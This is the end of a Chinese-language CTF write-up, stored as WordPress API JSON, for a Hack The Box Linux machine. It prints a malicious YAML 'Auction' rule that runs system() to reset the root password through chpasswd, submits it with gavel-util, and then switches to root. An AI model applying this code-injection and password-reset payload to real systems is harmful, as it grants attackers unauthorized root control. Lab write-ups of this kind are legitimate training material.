\/><\/p>\n<p>\u4ece\u6587\u4ef6\u6743\u9650\u53ef\u5f97\u77e5\uff0c<code>php.ini<\/code>\u6240\u6709\u8005\u4e3a<code>root<\/code>\uff0c\u6743\u9650\u4e3a<code>0644<\/code>\uff0c\u8fd9\u610f\u5473\u7740\u53ea\u6709<code>root<\/code>\u7528\u6237\u53ef\u4ee5\u4fee\u6539\u6587\u4ef6\u5185\u5bb9\uff0c\u4e5f\u8bc1\u660e\u4e86\u901a\u8fc7<code>gavel-util<\/code>\u4e0a\u4f20<code>Auction<\/code>\u6076\u610f\u9898\u76ee\u540e\uff0c\u8868\u8fbe\u5f0f\u4f1a\u4ee5<code>root<\/code>\u8eab\u4efd\u88ab\u6267\u884c\uff01<\/p>\n<p>\u6210\u529f\u66f4\u6539<code>PHP<\/code>\u914d\u7f6e\u540e\uff0c\u91cd\u65b0\u4e0a\u4f20\u4e00\u4efd\u91cd\u7f6e<code>root<\/code>\u5bc6\u7801\u7684<code>Auction<\/code>\u914d\u7f6e\uff1a<\/p>\n<pre><code class=\"language-yaml\">name: evil\ndescription: evil\nimage: http:\/\/127.0.0.1:80\/\nprice: 100\nrule_msg: evil\nrule: |\n    system(\"echo 'root:Asd310056' | chpasswd\");\n    return false;<\/code><\/pre>\n<p>\u968f\u540e\u4f7f\u7528<code>gavel-util<\/code>\u4e0a\u4f20\u8be5\u914d\u7f6e\uff1a<\/p>\n<pre><code class=\"language-yaml\">gavel-util submit evil.yaml<\/code><\/pre>\n<p>\u63a5\u7740\u4f7f\u7528\u8bbe\u7f6e\u7684\u51ed\u636e\uff0c\u5207\u6362\u7528\u6237\u5230<code>root<\/code>\uff1a<\/p>\n<pre><code class=\"language-yaml\">su -<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1764743898169-b4a3ed5b-a944-4732-acc9-ac5e0f8c1af8.png\" alt=\"\" \/><\/p>\n<p><strong>\u63d0\u6743\u6210\u529f\uff01\uff01\uff01\uff01<\/strong><\/p>\n<hr \/>\n<h1>\u672c\u6b21\u9776\u673a\u6e17\u900f\u5230\u6b64\u7ed3\u675f<\/h1>\n<hr \/>\n","protected":false},"excerpt":{"rendered":"<p>\u76ee\u6807\u4fe1\u606f IP\u5730\u5740\uff1a10.129.44.242\uff08\u975e\u56fa\u5b9aIP\u5730\u5740\uff09 \u4fe1\u606f\u6536\u96c6 ICMP\u68c0\u6d4b PING 10.129.43.68 (1 &#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_seopress_robots_primary_cat":"","_seopress_titles_title":"","_seopress_titles_desc":"","_seopress_robots_index":"","emotion":"","emotion_color":"","title_style":"","license":"","footnotes":""},"categories":[19,14],"tags":[],"class_list":["post-348","post","type-post","status-publish","format-standard","hentry","category-htb_season_9","category-linux_machines"],"_links":{"self":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts\/348","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/comments?post=348"}],"version-history":[{"count":1,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts\/348\/revisions"}],"predecessor-version":[{"id":349,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts\/348\/revisions\/349"}],"wp:attachment":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/media?parent=348"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/categories?post=348"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/tags?post=348"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}